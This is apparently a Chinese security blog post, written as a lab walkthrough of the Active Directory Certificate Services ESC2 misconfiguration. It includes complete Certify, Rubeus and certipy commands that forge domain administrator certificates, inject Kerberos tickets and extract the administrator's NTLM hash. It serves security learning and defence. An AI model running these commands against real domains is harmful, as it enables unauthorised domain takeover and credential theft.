T0ngMystic`s Blog

"Security studying, Strive to be Security Re-Searcher. Love everything that I want to do"

AD域-ADCS错误配置-ESC2

image

2023-09-19 / 共计2074 字


生活就像种花一样,把下一步做好,才会有好结果!

Life is like planting flowers. Only by doing the next step well will get a good results!

ADCS-ESC配置错误文章目录:

  1. ESC1: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc1/
  2. ESC2: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc2/
  3. ESC3: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc3/
  4. ESC4: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc4/
  5. ESC5_ESC6: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc5-esc6/
  6. ESC7: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc7/
  7. ESC8: https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc8/

ESC2

ESC2利用方法和ESC1一样,相当于ESC1的变种,当证书模板定义指定了Any Purpose EKU或No EKU时,该证书可以用于任何用途。 值得注意的是,ESC2的条件同样也满足ESC3的利用条件。 所以也可以使用ESC3的利用方式进行利用。 通过使用ESC3利用方式,证书的申请人可以是域管Administrator,有一定隐藏效果。

ESC2利用条件:

1、低权限用户拥有注册权限;
2、无需Administrator批准;(默认)
3、无需授权签名;(默认)
4、低权限用户有CA的请求权限;(默认)
5、证书模板定义了any Purpose EKU或no EKU;
6、证书模板允许请求者在 CSR 中指定SAN。***(若没有可使用ESC3利用方式)***

ESC2环境配置

ADCS服务器(我的域控与ADCS服务在一台服务器上)中运行中输入certtmpl.msc打开证书模板控制台进行复制工作站身份认证模板,命名为ESC2(任意命名都可以,这里只是为了区分是ESC2的模板) image.png 低权限用户添加注册权限(满足条件1、低权限用户拥有注册权限) image.png

扩展中应用程序策略为无(满足条件5、证书模板定义了any Purpose EKU或no EKU)

image.png 使用者名称中选择在请求中提供(满足条件6、证书模板允许请求者在 CSR 中指定 SAN。(若没有可使用ESC3利用方式)

image.png 查看成功创建了ESC2证书模板: image.png certsrv.msc打开证书颁发机构颁发ESC2证书: image.png

image.png 查看成功颁发ESC2证书: image.png

不同方式利用

在ESC2条件中6、证书模板允许请求者在 CSR 中指定 SAN。 若请求者不能指定SAN, ESC2不能使用ESC1方法进行利用,但可以使用ESC3方法利用。

ESC2方式利用

当模版满足证书模板允许请求者在 CSR 中指定SAN,这时直接使用ESC1的利用方式,伪造域管身份获取证书即可。

ESC1方式-域内利用

使用Certify.exe 发现是否存在ADCS模板错误:

Certify.exe find /vulnerable

image.png 发现ESC2模版满足两个必要条件(1、低权限用户拥有注册权限;5、证书模板定义了any Purpose EKU或no EKU): image.png 由于ESC2可以指定SAN,直接使用ESC1利用方式,伪造域管Administrator身份,注册ESC2证书:

Certify.exe /ca:DC1.t0ngmystictestad.com\t0ngmystictestad-DC1-CA /template:ESC2 /altname:administrator

image.png 复制生成的证书保持到本地,使用openssl生成pfx格式证书文件: image.png 没有使用申请的证书请求tgt时无法访问域控: image.png 通过工具rubeus.exe利用伪造Administrator身份的证书请求tgt并注入内存:

rubeus.exe asktgt /user:administrator /certificate:C:\Users\user\Desktop\Certify-main\Certify\bin\x86\Debug\cert.pfx /cd:192.168.111.11 /ptt

image.png 成功访问域控服务器: image.png 在ADCS服务器中可以看到user1用户请求的ESC2证书,但实是Administrator身份与权限: image.png

ESC1方式-域外利用

在域环境内使用certipy工具探测是否存在ADCS模版错误漏洞:

certipy find -u [email protected] -p Testad@1234 -dc-ip 192.168.111.11 -vulnerable -debug

image-AD域-ADCS错误配置-ESC2-20230913200017745 可以看到探测出ESC2模版满足ESC2漏洞条件: image.png 使用域管Administrator身份注册ESC2证书:

certipy req -u [email protected] -p Testad@1234 -ca t0ngmystictestad-DC1-CA -dc-ip 192.168.111.11 -template ESC2 -upn [email protected] -debug

image.png 使用申请到的administrator.pfx进行身份认证获取到域管的NTLM Hash:

certipy auth -pfx administrator.pfx -dc-ip 192.168.111.11

image.png

ESC3方式利用

当模版满足ESC2的两个必要条件,但是不满足证书模板允许请求者在 CSR 中指定SAN,这时无法使用ESC1的利用方式,但是仍然满足ESC3的利用条件,这时还是能过使用ESC3的利用方式获取域管权限,通过代理注册别的证书来达到获取域管身份。

ESC3方式-域内利用

使用Certify.exe注册ESC2模板(以User1的身份,证书保存为user1.pem):

Certify.exe request /ca:"DC1.t0ngmystictestad.com\t0ngmytictestad-DC1-CA" /template:ESC2

image.png 使用openssl将pem证书转换成pfx格式(这里密码为空):

openssl pkcs12 -in user1.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out user1.pfx

image.png 由于ESC2满足条件5、证书模板定义了any Purpose EKU或no EKU,可以用于任何用途,这里就可以使用代理注册,代理域管Administrator注册User证书(这里使用的User证书是创建ADCS服务自带的):

Certify.exe request /ca:"DC1.t0ngmystictestad.com\t0ngmystictestad-DC1-CA" /template:User /onbehalfof:t0ngmystictesta\administor /enrollcert:user1.pfx

注意:onbehalfof参数一定要使用NETBIOS的名称,NETBIOS可能和域名不一样 image.png 将申请的域管Administrator证书保存并转换成pfx格式,之后使用Rubeus.exe以域管的身份请求TGT,并注入内存:

rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /dc:192.168.111.11 /ptt

image.png 成功访问域控服务器: image.png

ESC3方式-域外利用

在域内通过certipy注册ESC2模板证书(以User1的身份):

certipy req -u [email protected] -p Testad@1234 -ca t0ngmystictestad-DC1-CA -dc-ip 192.168.111.11 -template ESC2

image-AD域-ADCS错误配置-ESC2-20230918010411113 user1.pfx的模板是ESC2,可以用于任何用途,所以使用user1.pfx代理域管Administrator注册User模板证书:

certipy req -u [email protected] -p Testad@1234 -ca t0ngmystictestad-DC1-CA -dc-ip 192.168.111.11 -template User -on-behalf-of t0ngmystictesta\Administrator -pfx user1.pfx -debug

image.png 使用代理域管Administrator注册到的administrator.pfx证书进行身份认证获取到域管的NTLM Hash:

certipy auth -pfx administrator.pfx -dc-ip 192.168.111.11

image.png 在ADCS服务器上可以看到申请的是Administrator,并不是user1: image.png


文笔垃圾,技术欠缺,欢迎各位师傅请斧正,非常感谢!


如果文章对您有帮助

部分文章会发布公众号!

感谢您的支持!